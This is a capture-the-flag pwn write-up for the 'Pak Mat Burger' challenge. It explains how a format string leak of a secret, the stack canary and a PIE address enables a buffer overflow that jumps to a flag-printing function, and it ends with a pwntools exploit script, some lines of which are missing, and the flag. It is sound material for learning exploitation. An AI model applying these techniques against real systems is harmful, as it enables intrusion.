Pak Mat Burger [pwn]

4 minute read

Format string attack to leak information to perform buffer overflow on binary with stack protection + PIE.

PS: I didn’t solve this during the contest because skill issue :’)


The program reads an environment variable SECRET_MESSAGE and first asks the user to enter this value correctly. If we look at the Dockerfile, we see that this environment variable is populated at container creation within, and has 8 bytes of value (8 hex characters).

# Generate a new random SECRET_MESSAGE for each connection
export SECRET_MESSAGE=$(openssl rand -hex 4 2>/dev/null)

The comment is a big big lie that I only realised after the competition ended. The value will stay the same for each connection because the container isn’t recreated every time.

Using checksec, we see that the program has full protection on (PIE, stack canary, NX).

Very short and simple program
Very short and simple program

We notice that there is a format string vulnerability, and if we enter the value of the environment variable correctly, we get access to a buffer overflow vulnerability since s has size 10 only.

The goal here is to alter control flow into secret_order where the flag is printed to us.


We know for certain we have to leak these values using format string attack.

  1. Environment variable SECRET_MESSAGE
  2. Stack canary (to buffer overflow with stack protection)
  3. Any PIE address value (to calculate PIE base)

By using GDB to break right before the vulnerable printf is called, we see that the pointer of SECRET_MESSAGE is at the top of the stack.

The stack canary can be found at $rsp + 0x38. We know this since it looks quite random and also because it is right above $rbp. A typical stack frame looks like:

|                 |
| local variables |
|                 |
|  stack canary   |
|    saved RBP    |
| return address  |

For PIE address, I used the one at $rsp + 0x58, which is the address of main that was passed in as an argument to __libc_start_main.

To leak values on the stack, we can use the parameter field of format strings. Since 6 registers are used for parameters before the stack is used, the first value on the stack will be referred to with %6$p (or other formats than p). Since we are working with 64 bit programs, each increment of the field will go to the next 8 bytes (word size).

Something like this:

def offset_to_fmt(offset, fmt):
    return f"%{6 + offset // 8}${fmt}"

The 3 values and their offsets with respect to $rsp:

  2. Stack canary: 0x38
  3. main address: 0x58

However, the final format string to leak all at once would be more than 11 characters long. But since SECRET_MESSAGE stays the same, we can leak it first, then only leak the latter two values in a new connection.

After getting the address of main, we subtract that by its offset to get the PIE base address, which is then added by the offset of secret_order to get the actual address of secret_order.

Finally, for the buffer overflow, we will need a padding of 0x25 since the buffer s is at rbp-2Dh according to IDA.

0x2D = 0x25 (padding) + 0x8 (stack canary)

The final payload will be: padding + stack canary + padding for saved rbp + address of secret_order

Final Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("pakmat_burger_patched")
context.binary = exe

def conn():
    if args.LOCAL:
        context.log_level = "debug"
        r = process([exe.path])
        if args.DEBUG:
        context.log_level = "debug"
        r = remote("", 34061)

    return r

def offset_to_fmt(offset, fmt):
    return f"%{6 + offset // 8}${fmt}"

def get_secret():
    r = conn()

    fmt_str = offset_to_fmt(0, "s")
    r.sendlineafter(b": ", fmt_str.encode())

    r.recvuntil(b" ")
    secret_msg = r.recvn(8)

    return secret_msg

def main():
    secret_msg = get_secret()

    r = conn()

    # rsp offsets
    canary_offset = 0x0038
    main_addr_offset = 0x0058

    fmt_str = offset_to_fmt(canary_offset, "p") + offset_to_fmt(main_addr_offset, "p")
    r.sendlineafter(b": ", fmt_str.encode())

    r.recvuntil(b" ")
    canary = int(r.recvn(18).decode(), 16)
    main_addr = int(r.recvuntil(b",")[:-1], 16)
    exe.address = main_addr - exe.sym["main"]

    info("canary: " + hex(canary))
    info("main addr: " + hex(main_addr))
    info("pie base: " + hex(exe.address))

    r.sendlineafter(b": ", secret_msg)


    secret_order = exe.sym["secret_order"]

    payload = b"A" * 0x25 + p64(canary) + b"B" * 8 + p64(secret_order + 5)
    r.sendlineafter(b": ", payload)


if __name__ == "__main__":

Flag: wgmy{4a029bf40a28039c8492acfa866f8d96}